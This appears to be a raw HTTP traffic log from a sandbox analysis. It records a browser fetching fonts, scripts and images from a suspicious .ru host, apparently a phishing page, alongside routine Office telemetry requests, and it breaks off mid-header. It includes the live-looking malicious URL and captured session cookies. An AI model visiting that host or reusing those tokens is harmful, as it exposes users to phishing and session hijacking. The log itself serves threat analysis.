https://ajtl2.clriwhkc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveOrigin: https://ajtl2.clriwhkc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveOrigin: https://ajtl2.clriwhkc.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /34sXAKs8nGGWzUcmFQQAB8sJ64klqj10YUB0rJg8Yg89102 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /klBsPV2E3KuAhVGtJ04YJFovXnKmg5bgpTT5yxQoZgiLAeqrPNh3ek0j3kk2taRJj8owvqzyz223 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klx2M5Jdm9gg3qBffFoJIJebt5UabJPIc8FXwijEsbkhsJTk2VJfFjrC5KgZFdLD9yyO1RhDwx220 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /klx2M5Jdm9gg3qBffFoJIJebt5UabJPIc8FXwijEsbkhsJTk2VJfFjrC5KgZFdLD9yyO1RhDwx220 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvSjW6uuuMi362bbMnBkTvstWSsfCZXTVIQ12121 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjIwNUhxbGgyZ040THo3UFJmZFBDN3c9PSIsInZhbHVlIjoiSmM4VzNxMmZORU1qMUZoMVVjSmQ1OGRuejlUNENpcGkvSzMzQnhlL2UwMXFSbUJSbXZGbExtQTRHd2hKTEdtNlgvNlBPNW5ZUG1ZY09SSm45RmdiSHhHSVdnMFBDbUFvcS9tSFBjUCtXR3N1QzBvWW1oOFJsaWtMdjJUeitNTU0iLCJtYWMiOiJiZjY2MzdiNWRiYTJlZmZlNTI1MGQwZWJiOGM4MjFkMDhiZTViMTIyYWRiMDA1ODEwYWI4YmU4YjViNTFiOGU4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ii9wRUpGZjYzVnVNVW5JYjlQSEFISlE9PSIsInZhbHVlIjoiZUp3eExvV0duRjVNNVEyclp3UmoydFVBYXFqdmQ5L2JHeEptejNUeTdyWVQwQSt6UWF2L0VBSHB3QTgyUzhTZCtUK3VlMGdyTVJxc050a0ZTMk4yK1VPcFlVQmRYWDNLS0wxV3hEVXdhZXdka2RGdUxlNEZYdTRvaG1FbGs3RTUiLCJtYWMiOiI3NTAxZDJhYjYyMDI4MmI4OTAyMWJkMGU5ODg4MzhiNzE3ZWY3MzhjNjdkOWY1NDM3N2E4MDliMTVjYzYwNjkyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /hdIvJ0YYve4ZL8Sg3uhCwZj5gmDPTyPshqxzzKqIIJoWAOPLPHhzyqI6f HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrFhTbcwwidzzRWOgsnbyxsh4u27wghHyqoYBZr8Vz2h7isbJay67139 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efdMUsDj4Y7r9tGOHibLPijJ12Vl5KBbBAJHvvmpvjn9m90150 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klBsPV2E3KuAhVGtJ04YJFovXnKmg5bgpTT5yxQoZgiLAeqrPNh3ek0j3kk2taRJj8owvqzyz223 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /ijFfNTeJLDUwCfdCHkhWeTb5JNx3EsizzfmIyzx3chxgSjbYDjc56168 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWNAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 